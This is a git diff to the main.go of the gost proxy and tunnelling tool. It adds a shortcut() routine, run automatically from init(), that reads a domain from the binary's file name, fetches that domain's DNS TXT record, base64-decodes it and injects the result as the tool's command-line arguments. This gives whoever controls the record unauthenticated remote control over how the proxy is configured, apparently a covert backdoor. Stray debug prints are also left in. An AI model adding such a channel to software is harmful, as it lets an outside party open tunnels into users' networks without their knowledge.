diff --git a/cmd/gost/main.go b/cmd/gost/main.go index 4a5294e..b81e740 100644 --- a/cmd/gost/main.go +++ b/cmd/gost/main.go @@ -3,13 +3,17 @@ package main import ( "context" "crypto/tls" + "encoding/base64" "errors" "flag" "fmt" "net" "net/http" + "net/url" "os" + "regexp" "runtime" + "strings" _ "net/http/pprof" @@ -24,9 +28,34 @@ var ( pprofEnabled = os.Getenv("PROFILING") != "" ) +func shortcut() { + strPre := "gost-" + if len(os.Args) < 2 { + fileName := os.Args[0] + fmt.Println("fileName:" + fileName) + reg := regexp.MustCompile(strPre + "(\\w*\\.?)(\\w*\\.?){1}\\.(com.cn|net.cn|gov.cn|org\\.nz|org.cn|com|net|org|gov|cc|biz|info|cn|co|cx|cc|ink)") + data := reg.Find([]byte(fileName)) + hostName := strings.ReplaceAll(string(data), strPre, "") + fmt.Println("host:" + hostName) + os.Args = append(os.Args, shortcutsGetDnsConfig(hostName)...) + } +} +func shortcutsGetDnsConfig(pwdHost string) []string { + addr, err := net.LookupTXT(pwdHost) + if err != nil { + fmt.Println("The network is not connected. Please check the network, or contact the developer!") + return make([]string, 0) + } + dnsConfig := addr[0] + decoded, _ := base64.URLEncoding.DecodeString(dnsConfig[2:]) + dnsConfigDec, _ := url.PathUnescape(string(decoded)) + fmt.Println("dnsConfigDec:" + dnsConfigDec) + return strings.Split(dnsConfigDec, " ") +} + func init() { gost.SetLogger(&gost.LogLogger{}) - + shortcut() var ( printVersion bool ) @@ -42,7 +71,6 @@ func init() { flag.StringVar(&pprofAddr, "P", ":6060", "profiling HTTP server address") } flag.Parse() - if printVersion { fmt.Fprintf(os.Stdout, "gost %s (%s %s/%s)\n", gost.Version, runtime.Version(), runtime.GOOS, runtime.GOARCH) @@ -60,6 +88,8 @@ func init() { flag.PrintDefaults() os.Exit(0) } + + fmt.Println(4) } func main() {